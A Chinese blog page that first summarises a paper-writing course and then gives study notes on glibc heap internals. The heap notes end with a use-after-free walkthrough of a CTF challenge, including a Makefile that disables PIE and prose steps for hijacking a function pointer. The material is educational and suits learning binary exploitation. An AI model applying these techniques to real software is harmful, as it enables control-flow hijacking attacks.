读论文首先得有论文可读，那么论文获取的方式有哪些呢？论文获取途径：

* [google scholar](https://scholar.google.com/)
* [知网](https://www.cnki.net/)
* [connectedpapers](https://www.connectedpapers.com/)

为了建立对某领域全面的认知，必须阅读大量相关论文，如何组织大量论文的存储，就需要工具加以辅助。秉承“免费、好用”的基本原则，找到了 [Zotero](https://www.zotero.org/) 这款论文管理工具。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fmu5VEOmgF12Q7sO5q7Pq%2Fimage.png?alt=media&amp;token=e7003445-2a70-4706-89f8-12ad64b06af1" alt=""><figcaption><p>Zotero 界面1</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FE7AA0kKS4rfLvpDwRPkZ%2Fimage.png?alt=media&amp;token=04ae994c-ed2d-47c6-8da6-49d777d83261" alt=""><figcaption><p>Zotero 界面2</p></figcaption></figure>

### **Zotero 使用方法**

Zotero 的相关资料非常丰富，这里不再赘述，直接给出相应的参考链接。

* [基本操作](https://sspai.com/post/56724)
* [浏览器插件](https://www.zotero.org/download/connectors)
* [多人共享与同步](https://zhuanlan.zhihu.com/p/348626383)

### **Zotero 技术原理**

以下引用来自[该网站](https://blog.openmindclub.com/2021/06/02/Alex-Zoter/)：

> Zotero 默认的协议&#x662F;**「Bibliographic Ontology」。它是定义信息世界的协议，包括了实体信息的载体，如图书、打印出来的论文；也包括了虚拟信息的载体：软件、聊天记录等等。**
>
> 在 Zotero 中无论是 Paper、Book、Film 等实体…..都用 Bibliographic Ontology 协议抽象统称为一个最小的基本单位 Item。然后再对这个实体进行调用，创建，修改等操作……
>
> Zotero 把信息处理的过程抽象为对 Item 的四个操作：**CRUD**。
>
> * C - 创造实体（Create）
> * R - 读取实体（Retrieve）
> * U - 更新实体（Update）
> * D - 删除实体（Delete）
>
> 这里就不得不提到 Zotero 两个超级伟大的发明：Translators 和 CSL。
>
> 「**Translators**」（<https://www.zotero.org/support/translators）是编写好的> js 脚本，**用于识别不同类型的网站、文献库中的元数据，并批量添加到 Zotero 中进行管理。**
>
> 「**CSL**」全称 Citation Style Language，**引文风格语言**。在 Zotero 提供的 「Zotero style repository」（<https://www.zotero.org/styles）中有> 9201 种引文的款式，包含了各种学科。随便点击一个就可以下载。这个网站链接了「CSL 官网」（<https://citationstyles.org/），惊讶发现> Zotero 是 CSL 的赞助商之一。并且有很多其他软件也使用了这个 CSL 底层协议。

想要了解更多的技术细节，不妨访问 [Zotero 官网](https://www.zotero.org/support/dev/start)。

### Overleaf

有了读论文的工具，那么写论文用什么工具呢？

答案是[Overleaf](https://en.wikipedia.org/wiki/Overleaf)。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fpa4rTiRGfeZMXcj5PgFW%2Fimage.png?alt=media&amp;token=dc6b0a66-a863-47ef-992b-a3993edac104" alt=""><figcaption></figcaption></figure>

Overleaf 是一种在线协作科学文档写作和发布工具，它基于 LaTeX，一个广泛使用的文档排版系统，特别适用于复杂的数学公式和科学文档。以下是关于 Overleaf 的详细介绍：

#### 发明者

Overleaf 最初是由 John Hammersley 和 John Lees-Miller 于 2012 年创建的，最初名为 WriteLaTeX。两位创始人都是科学背景的学者，他们创立这个平台的目的是为了简化科学写作和协作过程。

#### 技术原理

1. **基于 LaTeX**：Overleaf 使用 LaTeX 作为其核心排版系统。LaTeX 是一种基于 TeX 的排版系统，由 Leslie Lamport 在 80 年代创建，专门用于处理复杂的科学和数学文档排版。它允许用户通过标记语言来编写文档，这使得文档的格式化更加精确和灵活。
2. **在线协作**：Overleaf 的一个主要特点是支持多用户实时在线协作。它允许多位作者同时编辑同一文档，并能实时看到彼此的更改，类似于 Google Docs。
3. **云存储和版本控制**：Overleaf 将文档存储在云端，用户可以从任何地方访问它们。此外，它还提供版本控制功能，用户可以轻松地回溯到文档的早期版本。
4. **集成编译器**：Overleaf 内置 LaTeX 编译器，这意味着用户不需要在本地安装 LaTeX。用户可以直接在网页界面上编写 LaTeX 代码，并实时预览最终的文档输出。

#### 与 TeX 的关系

Overleaf 与 TeX 的关系密切。TeX 是由 Donald Knuth 在 1978 年发明的排版系统，主要用于数学、计算机科学和工程等领域的文档排版。LaTeX 是建立在 TeX 之上的一层，提供了更高层次的结构和命令集合，以简化文档的编写和排版。Overleaf 则是一个将 LaTeX 带入云端，提供现代化界面和协作工具的平台。

## 理解论文的构成

有了读、写论文的工具后，可以一探论文的庐山真面目，以下从“论文分类”与“论文细分”两部分介绍论文的构成。

### 论文分类

对研究者而言，若其选择的科学问题**细致而具体**，则需要做学术攻关准备；若其选择的科学问题**宽广而确定**，则需要做综述论文准备。因此论文大体上分为两类：研究型论文 && 综述型论文。

研究型论文的特点：

* 研究新现象，发明新技术、新工具
* 创新点决定价值

综述型论文的特点：

* 作为后人的垫脚石，总结前人的工作
* 选题、调研、写作决定价值

### 论文细分

论文可以理解为是现代的八股文，有其写作规范与要求，一般而言理工科的论文由以下八个部分组成（学术大牛可以随心所欲）。

| 章节   | 要求 / 作用                                   |
| ---- | ----------------------------------------- |
| 标题   | 客观、准确、吸引人                                 |
| 摘要   | 介绍你对这个领域的认知，做了哪些贡献                        |
| 引言   | 扩展摘要，介绍背景、困难、成果、阅读导引                      |
| 相关工作 | 证明给读者看，你是这个问题的专家，认知达到人类前沿水平；区分别人的工作与自己的贡献 |
| 问题   | 介绍自己要解决个什么事                               |
| 理论   | 应用数学公式、图表、计算等方式说明insight && design        |
| 实验评估 | 证明你的理论与事实相吻合                              |
| 结论   | 分享感想与对该工作未来发展的畅想                          |

## 撰写总结与学术评论

理解论文的构成只是学会读论文的第一步，读论文的第二步是真正理解论文的内容。那么如何判断是否真的理解论文的内容？撰写总结与学术评论，是一个行之有效的检验方法，而且在校验的过程中，能更加深入地体会作者的写作思路，培养科学 taste。

> 插一句，我们可以通过以下两个标准来判断某论文是否属于高质量论文。
>
> 语句构成：宇宙真理、别人已证明的结论、本文将证明的成果
>
> 写作风格：unambiguity, clearance, **flow**, stylish

那么该如何撰写论文总结与学术评论呢？

### 论文总结

论文总结可以想象自己将在组会上分享，强迫自己进行深度思考。阅读论文后，按照以下五个方面对论文进行总结：

* 发表信息
  * 期刊会议
  * 单位、团队、作者
* 目标问题
  * 问题是什么
  * 问题价值
  * 前人工作
* 解决方案
  * 方案框架
  * 方案创新点
* 论证过程
  * 论文方法框架
  * 论证突出细节
* 评估结论
  * 作者自我评估
  * 读者评估感受

论文总结的示例可参考如下：

{% embed url="<https://blog.kaisuping.cn/paper-reading/others/arana-discovering-and-characterizing-password-guessing-attacks-in-practice>" %}

### 论文学术评论

Review ∈ Critique，一般而言由以下两个部分组成：

* 论文规范性
  * 格式规范性
  * 学术规范性（抄袭？）
  * 表达规范性（语法、遣词造句、规范等）
* 论文学术价值 - **review** ≠ detail
  * 学术问题
  * 解决办法
  * 创新点 / 系统性 / 工作量

论文学术评论的示例可参考如下：

> 《基于超级计算机的医疗数据集并行处理技术研究》针对 MIMIC 数据集提取工作，利用经典算法和超级计算机的并行优化技术，实现了一个可用的 MIMIC 数据集提取程序，克服了之前提取工作中开销大、没有自定义接口导致无法扩展的缺陷。
>
> 该论文格式规范，符合基本的论文写作要求。论文整体框架逻辑性强，从写作细节上看，也体现了作者对 MIMIC 提取工作的思考，引用标注得当，无抄袭痕迹。美中不足的是，论文表达方面存在多处欠缺，例如正文 p3 出现错别字、p5 末尾标点符号遗漏、p6 表格跨页影响美观、p8-9 多种缩进混合显得文章排版杂乱。
>
> 该论文的工作提升了 MIMIC 数据集提取的程序效率，解决了现实世界中的一个复杂问题，具有一定的学术价值。该论文首先设计了 MIMIC 提取工作的框架，而后通过 MPL + OpenCL 的组合，将程序并行化，总体而言是一个系统性的解决方案。
>
> 作者可以尝试在以下三点加以改进：
>
> 1. 在 3.1 首段借助表格罗列两种解决方案的优缺点，使脉络更加清晰；
> 2. 在 **5 测试与结果分析** 章节开头，交代清楚测试环境的 CPU 型号、内存等细节，便于读者复现；
> 3. 添加提取前后效果的 demo，使读者对工作价值有更直观的感受。

## 撰写标题、摘要与引言

学会对别人的工作进行鉴赏后，现在可以尝试撰写论文的标题、摘要与引言啦！先来看一下对这三个部分写作的要求：

| 部分 | 要求                   | trick                                                                                                                                         |
| -- | -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| 标题 | 与文章适配、**大小合适**、风格鲜明  | <p></p><p>词汇：基于、技术、研究（不涉及实现）、设计与实现、系统实现、应用（需要体现场景）、方法（数据集）；</p><p></p><p>e.g., 基于机器视觉的铁路轨道扣件病害检测关键技术研究、一种信息网络聚类算法的研究。不断缩小领域、场景、技术</p>         |
| 摘要 | 准确、精炼（体现问题、方法、效果）    | 展现提出方法的 **ituition；第一句话往往斩钉截铁**                                                                                                               |
| 引言 | 扩展摘要，介绍背景、困难、成果、阅读导引 | <p></p><p>动机：阐明问题和问题的价值，解决它有什么好处</p><p></p><p>方法：踩别人的工作，凸显自己工作的牛逼</p><p></p><p>创新点：请注意到作者往往有夸大自己贡献的倾向，大部分需要做“减法”</p><p></p><p>导读：介绍论文章节安排</p> |

训练“标题、摘要与引言”这三部分的写作能力，可以将已发表论文的相应部分遮挡，自行阅读论文其他部分后撰写，再与原作者所写进行比对。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FmNGAzSQVFJUfhbvOZbl4%2Fimage.png?alt=media&amp;token=c5c92f2d-66c0-4639-91c7-e986b3c605d8" alt=""><figcaption></figcaption></figure>

学习完“标题、摘要与引言”这三部分的写作，《信息安全论文写作》课程就进入尾声了。课程的最后，肖老师告诉我们：

> 好的论文都是改出来的，好论文往往是先搭好框架，往里填充，再通过快速的迭代优化写作质量。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FJTx9D2wX5CWXXeeG264k%2Fe8ab6642c2954e19b253ed4cd86e7eb.jpg?alt=media&amp;token=3f33db5a-e214-4ca5-942f-17ce11d621b9" alt=""><figcaption></figcaption></figure>

这里贴一张结课的大作业（主要是形式，内容都是 gpt 写的🤣）。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FQy02emUqlyHsXm9xrfml%2Fimage.png?alt=media&amp;token=380e49ce-dae7-4824-bfbe-06bba740fe50" alt=""><figcaption></figcaption></figure>

## 论文投稿与评审

论文写作后，需要投稿到相应的期刊 / 会议，由同行专家进行评审，审查论文质量是否合格，并决定论文能否发表。以下分享两张有关投稿与评审的截图。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FpRZEH2JbC9c8VoIKZZj0%2Fimage.png?alt=media&amp;token=f06c34ab-757e-44a6-b8fd-aba777b0bd03" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FLfRTVKFZAzkiIVeyDxga%2Fimage.png?alt=media&amp;token=0fc6e6f2-27e5-49b2-81d4-bf50af36c480" alt=""><figcaption></figcaption></figure>

国内对于论文的评审是等级制，对论文的**选题、文献综述、研究成果、论文写作**这四个方面进行评定。更加具体的评议项目参考如下：

| 评议项目     | 分数 | 评分 |
| -------- | -- | -- |
| 选题意义     | 20 | x  |
| 研究方法     | 10 | x  |
| 逻辑构建     | 10 | x  |
| 专业能力     | 30 | x  |
| 学术规范     | 20 | x  |
| 创新性及论文价值 | 10 | x  |

笔者曾搜寻过网上的评审方法论，整理如下：

* 评审：评是给出自己的评价，判断该论文是否对 filed 有所贡献；审是审核此文是否能自圆其说
* 评价：
  * 概述 finding
  * 是否提出新的 insight、新的 method？
  * major points（研究问题、主要贡献、解决方法、实验的完整性？）
  * minor points（证据是否够多够强，图表与论证过程是否紧密相关？）
* 站在**作者**的角度想一想
* **科学价值**：是否对科学进行了改变、改进、修改、提出异议或增加了新内容（至少一点点）？是否有助于促进科学进展？


# Heap Exploitation

### 前言

笔者最近跟学委吴一起接了软件安全测试中的 Heap Exploitation Project，借此 blog 梳理学习思路。

### 什么是堆？

借 stackoverflow & geeksforgeeks 的回答，先大致了解一下堆是个什么东西，与我们所熟悉的栈又有怎样的区别和联系。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fe7k1Aah5v45EcTw5YIQo%2Fimage.png?alt=media&amp;token=08c670f7-beb1-4ece-ae44-9b49d8819da1" alt=""><figcaption><p><a href="https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap">https://stackoverflow.com/questions/79923/what-and-where-are-the-stack-and-heap</a></p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FF7b4slUvMz3VE7qFReVC%2Fimage.png?alt=media&amp;token=692a2921-fd74-494c-84d1-1eae3ec2ff7e" alt=""><figcaption><p><a href="https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/#">https://www.geeksforgeeks.org/stack-vs-heap-memory-allocation/#</a></p></figcaption></figure>

通过以上两张图片，相信读者已经能建立起对堆的初步印象。接下来就可以愉快地讨论堆的实现方式与利用。再次声明，以下讨论的堆，均指**运行内存中的堆区域**，该区域由程序员手动申请、手动释放，被同一个进程中的所有线程全局共享。

### 堆的实现有哪些？

从古到今，笔者了解到的堆实现方式有以下七种：

```
dlmalloc  – General purpose allocator
ptmalloc2 – glibc 
jemalloc  – FreeBSD and Firefox
tcmalloc  – Google
libumem   – Solaris
nedmalloc
Hoar
```

堆多种的实现方式，也间接提示我们 heap exploitation 不是件轻松活。那么 heap exploitation 究竟难在什么地方呢？

> Heap-based vulnerabilities can be very dependent on how the internal implementation of the heap allocator actually works.

因此为了“不耍流氓”，定义讨论的范围为采用 **ptmalloc2** 的 **glibc**，接下来让我们去一睹 glibc 堆管理的实现吧！

### glibc 实现

#### chunk 介绍

堆的最小单元为 chunk，由 metadata 与 userdata 组成。metadata 指下图中的 **PREV\_SIZE & CHUNK SIZE**，用于记录 userdata 的元信息，方便 glibc 进行内存管理。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FJHrV8oTiTdalpZJFF84Q%2Fimage.png?alt=media&amp;token=e7502d07-1c84-4bd8-81c2-d78921bc514f" alt=""><figcaption><p>glibc 对 chunk 的介绍</p></figcaption></figure>

metadatas 中 PREV\_SIZE 的作用：

1. 给前一块 chunk 作为 userdata 存储数据使用（见 Fig.2）；
2. 在 bin 中表示前项 chunk 的大小。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fn7VllUxCklXYoQwNITJy%2Fimage.png?alt=media&amp;token=96918f7a-2dfb-4258-98a7-0ef4949f9733" alt=""><figcaption><p>chunk 示意图</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FYhZO6zoGvQSmXLYR7m4Y%2Fimage.png?alt=media&amp;token=6b8d5748-4e57-4cb3-a8c0-3c92d3907d1d" alt="" width="375"><figcaption><p>Fig.2</p></figcaption></figure>

metadata 中 CHUNK SIZE 记录了整个 chunk 的大小，其计算方式如下图所示。需要注意的是，glibc 中规定了 alignment 是 double word，即在 32bits 机器中要求 8bytes 地址对齐，64bits 机器中要求 16bytes 地址对齐。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FRP4EiCgxcO6AdiD2mOOq%2Fimage.png?alt=media&amp;token=94611959-47e5-464e-9dc4-922bafc63e57" alt=""><figcaption><p>32bits 中的 chunk 组成</p></figcaption></figure>

#### chunk 释放策略与细节

glibc 对于被 free 掉的 chunk 都丢给了“小弟”——bin去管理。bin 要考虑的问题是：该把这块 chunk 改造成什么样，丢到哪里去，才方便后续分配嘞？

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fpy3Lr6rTKZfIurXMa0HJ%2Fimage.png?alt=media&amp;token=6b55ca5e-16b5-4c4f-8fb2-1919ea8b64c0" alt=""><figcaption><p>chunk 在 bin 中的样子</p></figcaption></figure>

bin 根据用途分为了五类：small bin、large bin、unsorted bin、fast bin、tcache bin。其中发挥基础作用的是 small bin 和 large bin，small bin 实现对 512bytes 以下的 chunk 管理，large bin 实现对 512bytes 及以上的 chunk 管理。unsorted bin、fast bin 和 tcache bin 充当 cache layer 的作用。具体可参考下图以及联想存储器多级缓存的架构理解：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FYRLcpZtWdqVTKqT6uq1Q%2Fea24ea8df1743e04ae7c96a6437f521.jpg?alt=media&amp;token=498a525d-2115-4541-a8d2-80c97f6a7fa8" alt="" width="375"><figcaption></figcaption></figure>

**先从高空俯瞰一下 chunk 释放的策略：**

> if pointer is NULL “do nothing” else convert the pointer back to a chunk
>
> → Perform sanity checks on the chunk, and abort when fail
>
> → chunk fits into a *tcache* bin, store it there.
>
> → chunk has the *M* bit set, give it back to the os via *munmap*.
>
> → Otherwise we obtain the arena heap lock and then:&#x20;
>
> 1. fits into a fastbin, put it on the corresponding fastbin, and we’re done.
> 2. size > 64KB, consolidate the fastbins, put the resulting merged chunks → unsorted bin.
> 3. Merge the chunk with neighboring freed chunks in the small, large, and unsorted bins.
> 4. Merge the result chunk if neighboring the top chunk.
> 5. Otherwise store it in the *unsorted bin*

第一次看到这些策略，肯定是一头雾水，这时候就需要结合细节去理解。

**sanity checks：**

> 1. A check that the allocation [is aligned](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l4182) on an 8-byte (or 16-byte on 64-bit) boundary, since *malloc* ensures all allocations are aligned.
> 2. A check that the chunk’s size field isn’t impossible–either because it is [too small](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l4318), too large, not an aligned size, or [would overlap the end of the process’ address space](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l4175).
> 3. A check the chunk lies [within the boundaries of the arena](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l4318).
> 4. A check that the chunk is [not already marked as free](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l4182) by checking the corresponding “P” bit that lies in the metadata at the start of the next chunk.

**五类 bin 的具体实现：**

* bin 的整体管理是将各类 bin 放到一个数组中，包括 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FOVeB4TKpnR7w3UMSKTFP%2Fimage.png?alt=media&amp;token=5e724002-8a9e-4517-b29e-756f66348a8d" alt=""><figcaption></figcaption></figure>
* small bin

  * *Every chunk less than 512 bytes on 32-bit systems (or than 1024 bytes on 64-bit systems) has a corresponding small bin. (the size of allocated memory is stable)*&#x20;

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FQw53xnl5eQQRmPu1Zm2L%2Fimage.png?alt=media&amp;token=716db596-c3b2-444c-adb9-712aef152b6c" alt=""><figcaption><p>small bin</p></figcaption></figure>
* large bin

  * 基于用户分配的空间趋向于小块的事实，large bin 倾向于作为 small bin 的补充。注意下图中 BETWEEN 是表 AMONG 的意思。

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F6kBdFVX63swVi2nR4Psh%2Fimage.png?alt=media&amp;token=8b5930a3-6599-4724-b242-3e837ee58231" alt=""><figcaption><p>large bin</p></figcaption></figure>
* unsorted bin

  * cluster free & malloc 聚集在某一个时间段时，将其放入 unsorted bin，即拿即用。

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F7nFzniefZ8LuAfTJHNeX%2Fimage.png?alt=media&amp;token=1762db80-33c8-4982-8ca0-0b9db7f6ef17" alt="" width="190"><figcaption><p>unsorted bin</p></figcaption></figure>
* fast bin

  * 为了减少内存碎片对系统的影响，fast bin 用于管理程序释放掉的较小的内存块（小于 88bytes）。

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FCKXXSKEcF018fyPqU9JH%2Fimage.png?alt=media&amp;token=1c94d957-f8d9-417d-a24a-160858019a52" alt=""><figcaption><p>fast bin</p></figcaption></figure>
* tcache bin

  * 因为堆是全局共享的，对于多线程的情况，则不可避免会遇上需要等待别的线程释放锁，才能申请资源的情况。为了避免此类开销，设计了 tcache。
  * *Each bin contains a maximum of* [*7 same-size chunks*](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) *ranging from* [*24 to 1032 bytes on 64-bit systems and 12 to 516 bytes on 32-bit systems*](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)*.*

  <figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F9mP6iTJkzgLSo6CIOOao%2Fimage.png?alt=media&amp;token=4b38a2ad-6c95-4d1a-976b-c559ef004191" alt=""><figcaption><p>tcache bin</p></figcaption></figure>

#### chunk 分配策略与细节

为了避免频繁的系统调用，在程序第一次 malloc 过后（即便申请很小的内存，如 malloc(0)），os 会分配一块 0x21000 大小的内存给 glibc，并拍了拍 glibc 的肩膀说，“小老弟，拿去耍吧。这些应该足够你应付来申请内存的小鬼了，如果实在不够再来找我”。glibc 捧着这块 0x21000 大小的内存，屁颠屁颠得开始了它的打工生活——替 os 处理内存申请与释放的工作。

**老规矩，先瞅一眼 chunk 分配的策略：**

> tcache&#x20;
>
> → mmap
>
> → obtain arena heap lock → fast bin → small bin
>
> → unsorted bin，if suitable stop，otherwise put into small / large bin
>
> → large bin
>
> → merge unsorted bin、fast bin、small bin、large bin
>
> → sbrk&#x20;
>
> → mmap
>
> → return NULL

想必你初见觉得晦涩难懂。没事，咱们 step by step 来瞅瞅看这究竟是怎么回事。

**chunk 分配机制**

1. *If there is a previously-freed chunk of memory, and that chunk is big enough to service the request, the heap manager will use that freed chunk for the new allocation.*                                                  ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FaXBAkguOFCUx8ICMraNl%2Fbins-simple.png?alt=media\&token=83236ea5-5365-4e3b-a130-f867833ab564)
2. *Otherwise, if there is available space at the top of the heap, the heap manager will allocate a new chunk out of that available space and use that.*     ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F8GnQCngkesss1FVmCcgv%2Fheap-chunks-top.gif?alt=media\&token=0582d99c-a82f-4e0a-88ad-7191418bda54)
3. *Otherwise, the heap manager will ask the kernel to add new memory to the end of the heap, and then allocates a new chunk from this newly allocated space.* ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FW9kYiVpQi9MmOxSvwYaY%2Fprocess-memory-heap-gif-1.gif?alt=media\&token=12273b06-320f-4350-977f-b071d390b228)
4. *`mmap` provides greater flexibility, can map files or anonymous memory, and can map memory to non-contiguous addresses. This helps overcome some limitations of `brk`, such as heap fragmentation.*                                                                           ![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FIHI2Wx4khQO2ivxqqST2%2Fheap-arenas-CS.png?alt=media\&token=cfdc01f2-1ba2-43fb-afc7-925378e0fbde)
5. *If all these strategies fail, the allocation can’t be serviced, and malloc returns NULL.*

### UAF

有了以上的基础，就可以愉快尝试一下 heap exploitation。笔者近期了解到的 heap exploitation 如下：

* **Heap Overflow（堆溢出）：** 攻击者通过向动态分配的堆内存写入超出分配的内存空间的数据，覆盖相邻内存的内容，可能导致程序崩溃或执行恶意代码。
* **Use-After-Free（释放后使用）：** 攻击者利用程序中已经释放的堆内存块，尝试重新使用这些内存块来执行恶意操作。
* **Double Free（重复释放）：** 这种攻击涉及重复释放相同的堆内存块，从而可能导致内存管理数据结构被破坏，以及潜在的漏洞利用机会。
* **Off-by-One Error（溢出一个字节）：** 攻击者试图溢出一个字节的内存，通常用于更细微的堆利用攻击。
* **Fastbin Attack（快速分配块攻击）：** 这种攻击针对 glibc 中的 fastbins，攻击者试图伪造 fastbin 链表，以便获取堆上的未分配内存块。
* **Tcache Attack（Tcache攻击）：** 这种攻击利用glibc 的 tcache 机制，攻击者试图伪造 tcache 链表，以获取未分配内存块。
* **Unlink Attack（取消链接攻击）：** 这种攻击涉及伪造一个被取消链接的堆块，以触发漏洞利用机会。
* **Poison Null Byte Attack（毒零字节攻击）：** 这种攻击利用零字节终止字符串，攻击者试图修改内存块的大小字段，以实现漏洞利用。

以下借 ctf-wiki 的[示例](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/)介绍 **Use-After-Free(UAF)**。

UAF 的实现机理是观察堆的分配与释放，构造合法的内存写入，利用 dangling pointer 访问原先分配的地址，通过这种未定义行为发起恶意攻击（如劫持控制流），其本质是如下 L4 所述的 “arbitrary effects”。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FbcpYxLZkQYM3pn5MRT5y%2Fimage.png?alt=media&amp;token=2ae073d9-e04e-43de-96b4-15057bf96ac7" alt=""><figcaption><p>free in malloc.c</p></figcaption></figure>

示例[源码](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote)可通过链接获取，注意将 `Makefile` 修改成如下所示，将 PIE 保护关闭。温馨提示： `exp.py`中的 magic 变量值是通过反汇编（如，将可执行文件拖入 IDA） ，查看函数的起始位置得到的。其它具体的实现过程参照示例即可。

```makefile
hacknote:hacknote.c
        gcc hacknote.c -m32 -no-pie -fstack-protector -o hacknote 
```

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fo9Q4JLFSolFsszs0eOLv%2Fimage.png?alt=media&amp;token=eb3f0f7d-ae79-43e8-b9cb-c80d6acbd56c" alt=""><figcaption></figcaption></figure>

示例代码架构与利用步骤如下：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FF4QU8DbzgbhyaOqHyUH3%2Fimage.png?alt=media&amp;token=0a2327ac-a687-47e5-862b-cf8fa999970f" alt=""><figcaption></figcaption></figure>

UAF 在此题的体现：首先申请两个 node，然后删除两个 node。两个 node 共计四块 chunk 被加入到 tcache 中管理。此时再申请一个新的 node，如果申请的 size 得当，glibc 就会将 node0 与 node1 的两块 **printnote** 分配给新的 node 使用，注意到 printnote 是一个函数指针！此时 content2 是从标准输入读入的，即可以被用户所控制的。那么先往 content2 写入 magic 函数地址，再利用 node0（此时为 dangling pointer）访问 content2 这块区域，RIP 就会访问 magic，成功实现控制流的劫持。&#x20;

